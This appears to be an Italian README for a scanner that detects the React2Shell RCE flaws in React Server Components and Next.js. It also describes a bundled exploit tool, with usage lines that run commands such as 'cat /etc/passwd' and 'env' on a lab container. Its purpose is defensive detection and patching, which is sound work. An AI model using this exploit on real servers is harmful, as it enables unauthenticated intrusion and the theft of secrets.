Scanner per CVE-2025-55182 (React) e CVE-2025-66478 (Next.js) - Traccia e correggi una campagna di vulnerabilità critica dei React Server Components (RSC) / protocollo Flight che impatta su react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack e framework abilitati a RSC come Next.js.
Vulnerabilità ESTERNA per la classe di bug React2Shell: due vulnerabilità di esecuzione remota di codice non autenticate, appena divulgate, nel protocollo "Flight" dei React Server Components (RSC)—CVE-2025-55182 (React) e CVE-2025-66478 (Next.js), entrambe con punteggio CVSS 10.0. Questi problemi risiedono nel modo in cui gli endpoint RSC/Server Function decodificano i payload Flight controllati dall'attaccante, trasformando una singola richiesta HTTP appositamente costruita in una potenziale esecuzione di codice lato server—anche su stack React/Next.js moderni "predefiniti" che utilizzano App Router e build di produzione. Per molti team questo è un momento "patch ora, verifica l'esposizione, poi audit", non qualcosa da rimandare a un successivo sprint di igiene delle dipendenze. La cartella LAB contiene exploit e vulnerabilità di laboratorio per React2Shell
Questo progetto fornisce un approccio su due fronti: (1) scansione del rischio di composizione software / dipendenze (questo strumento), per individuare rapidamente librerie e versioni vulnerabili, e (2) uno scanner web DAST (React2Shell Web Scanner) che sonda attivamente gli endpoint RSC/Flight dall'esterno, verificando se i percorsi sfruttabili sono raggiungibili negli ambienti in esecuzione. Insieme, aiutano a rispondere sia a "dove sono i componenti vulnerabili?" sia a "dove possono essere effettivamente sfruttati in produzione?", così da poter dare priorità a patch, hardening e incident response con sicurezza.
Per test degli endpoint live e validazione RCE, consulta lo scanner web dedicato:
📁 web-scan_CVE-2025-66478/ - Documentazione completa e guida
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Funzionalità | Descrizione |
|---|---|
| 🔍 Rilevamento RCE | Rilevamento sicuro basato su operazioni aritmetiche (nessun effetto collaterale) |
| 🎯 Fingerprinting della tecnologia | Rilevamento automatico di applicazioni Next.js/React |
| 📊 Esportazione multi-formato | Report JSON, CSV, HTML |
| 🔗 Correlazione IOC | Corrispondenza con oltre 31 IP dannosi noti |
| 🌐 Scansione su larga scala | Intervalli CIDR, enumerazione dei sottodomini |
| ☁️ Integrazione Phoenix | Caricamento dei risultati sulla piattaforma Phoenix Security |
| 💻 Strumento Exploit | Esecuzione di comandi su target vulnerabili |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell è una primitiva di esecuzione remota di codice non autenticata contro la gestione dei payload dei React Server Components (RSC) nel protocollo Flight. In pratica, ciò significa che un client malintenzionato può inviare una singola richiesta HTTP appositamente costruita a un endpoint RSC/Server Function e, se è in uso una versione vulnerabile, potenzialmente trasformare una “web app” in una “server shell.”
Ad alto livello:
Poiché si tratta di RCE non autenticata, anche le configurazioni di produzione predefinite sono nel perimetro—anche se non hai mai scritto esplicitamente una “server function” e ti sei semplicemente adeguato ai pattern moderni di React/Next.js. Le mitigazioni a livello di hosting e i WAF generici non dovrebbero essere considerati la tua principale rete di sicurezza: possono ridurre l'esposizione ma non compenseranno in modo affidabile le librerie vulnerabili. Trattalo come un incidente:
Una volta che un attaccante ottiene RCE tramite React2Shell, i difensori dovrebbero assumere una kill chain familiare:
.env, segreti di deployment, token CI, credenziali dei servizi e chiavi di firma.Se la tua pipeline DevSecOps ha storicamente trattato il livello web come “solo un frontend,” questa vulnerabilità è una dimostrazione concreta che i framework frontend possono avere un profondo raggio d'esplosione lato server quando sono coinvolte le semantiche RSC e di streaming. Universal Vulnerability Scanner esiste per aiutarti a rispondere rapidamente a “stiamo eseguendo i pacchetti vulnerabili da qualche parte?” e per convogliare quella risposta in campagne guidate da Phoenix e, presto, in una complementare validazione DAST web degli endpoint RSC live.